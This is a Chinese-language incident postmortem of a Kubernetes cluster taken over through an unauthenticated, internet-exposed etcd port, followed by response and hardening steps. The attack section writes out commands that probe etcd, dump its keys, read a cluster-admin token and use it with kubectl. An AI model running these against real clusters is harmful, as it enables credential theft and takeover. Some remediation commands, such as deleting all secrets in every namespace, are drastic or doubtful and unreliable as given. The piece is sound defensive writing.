一次Kubernetes生产环境沦陷事件的全景复盘:从etcd未授权到集群失守

凌晨3点17分,监控大屏突然跳出刺眼的红色警报——生产环境Kubernetes集群的API Server响应延迟飙升到800ms,同时检测到异常Pod创建行为。作为值班工程师的我,在接下来6小时里亲历了一场由etcd未授权访问引发的连锁反应。本文将完整还原攻击路径,其中关键操作点已做脱敏处理。

1. 事件发现:异常现象与初步排查

最先触发告警的是Prometheus的apiserver_request_duration_seconds指标。这个通常稳定在50ms以下的指标突然呈现指数级增长,同时kube-apiserver日志中出现大量 /api/v1/namespaces/*/pods 的POST请求。以下是当时采集的关键数据对比:

指标名称 正常范围 异常值 波动幅度
API Server延迟 ≤50ms 800ms 1600%
etcd写入QPS 100-150 1200+ 800%
异常Pod创建次数 0 28次/分钟

通过 kubectl get events --all-namespaces --sort-by='.lastTimestamp' 命令,发现大量可疑事件:

LAST SEEN   TYPE      REASON      OBJECT                        MESSAGE
3m          Warning   Failed      pod/evil-pod-1                Error: image "hacktool/coinminer" not found
5m          Normal    Scheduled   pod/backdoor-nginx            Successfully assigned default/backdoor-nginx to node-3

关键转折点 :当检查etcd监控时,发现2379端口的入站流量在告警前10分钟突然出现峰值。这引导我们将排查重点转向etcd服务。

2. 攻击链重构:从etcd渗透到集群接管

2.1 etcd未授权访问的致命缺口

攻击者首先扫描到暴露在公网的2379端口(事后审计发现某运维人员临时开放了该端口用于调试且未及时关闭)。通过简单的curl验证即可确认漏洞存在:

$ curl -k https://[REDACTED]:2379/v2/keys
{"action":"get","node":{"dir":true}}

更危险的是,由于未启用TLS客户端证书认证,攻击者可以直接使用etcdctl操作数据库:

ETCDCTL_API=3 etcdctl --endpoints=https://[REDACTED]:2379 \
--insecure-skip-tls-verify get / --prefix --keys-only

2.2 关键Token的提取与利用

在获取etcd完全控制权后,攻击者通过以下路径提取高权限Token:

  1. 枚举所有Secret对象:
    etcdctl get / --prefix --keys-only | grep /registry/secrets/
    
  2. 定位到cluster-admin角色的ServiceAccount:
    etcdctl get /registry/secrets/kube-system/cluster-admin-token-abc123
    
  3. 提取Base64编码的Token字段(输出示例):
    "data": {
        "token": "ZXlKaGJHY2lPaUpTVXp...[REDACTED]...VmV4R015",
        "namespace": "azh1c3RlbQ=="
    }
    

获得Token后,攻击者直接通过kubectl执行命令:

kubectl --insecure-skip-tls-verify \
--server=https://[REDACTED]:6443 \
--token=$STOLEN_TOKEN \
-n kube-system get pods

2.3 横向移动与持久化

从取证数据中发现攻击者后续操作包括:

  • 创建具有cluster-admin权限的ServiceAccount
  • 部署DaemonSet在所有节点植入挖矿容器
  • 修改kube-apiserver的--audit-log-path参数规避审计
  • 建立SSH反向隧道作为备用通道

3. 应急响应:止血与恢复流程

3.1 立即止损措施

  1. 网络隔离
    iptables -A INPUT -p tcp --dport 2379 -j DROP
    iptables -A INPUT -p tcp --dport 6443 -j DROP
    
  2. 吊销所有凭据
    kubectl delete secrets --all --all-namespaces
    kubectl delete certificatesigningrequests --all
    
  3. 冻结可疑资源
    kubectl patch daemonset evil-miner -p '{"spec":{"template":{"spec":{"nodeSelector":{"non-existent":"true"}}}}}'
    

3.2 系统恢复步骤

采用"蓝绿恢复"策略:

  1. 从备份恢复etcd数据(确保使用3.5+版本的 etcdutl snapshot restore
  2. 逐节点滚动更新:
    kubeadm upgrade node experimental-control-plane
    
  3. 重新签发所有证书:
    kubeadm certs renew all
    

4. 加固方案:纵深防御体系构建

4.1 etcd安全基线配置

修改/etc/kubernetes/manifests/etcd.yaml关键参数:

spec:
  containers:
  - command:
    - etcd
    - --client-cert-auth=true
    - --auto-tls=false
    - --peer-client-cert-auth=true
    - --listen-metrics-urls=http://127.0.0.1:2381

4.2 网络平面防护

实施三层防护策略:

  1. 网络层 :Calico NetworkPolicy全局默认deny-all
    apiVersion: projectcalico.org/v3
    kind: GlobalNetworkPolicy
    metadata:
      name: default-deny
    spec:
      selector: all()
      types: [Ingress, Egress]
    
  2. 节点层 :使用gVisor或Kata Containers运行时隔离
  3. 应用层 :OPA/Gatekeeper策略示例:
    deny[msg] {
      input.kind == "Pod"
      not input.spec.containers[_].securityContext.runAsNonRoot
      msg := "Pods must set runAsNonRoot to true"
    }
    

4.3 持续监控体系

构建三位一体监控方案:

监控维度 工具组合 关键指标
API审计 Falco + OpenTelemetry anomalous_request_count
etcd操作 etcd-dump + Prometheus etcd_put_total by operation
证书生命周期 cert-manager + Grafana certificate_expiry_seconds

在事件过去三个月后,我们仍然保持每周一次的攻防演练。最近一次红队测试表明,新部署的etcd需要同时突破证书认证、网络策略和运行时防护三层机制才能触及数据平面——这正是一线工程师用血的教训换来的安全纵深。

更多推荐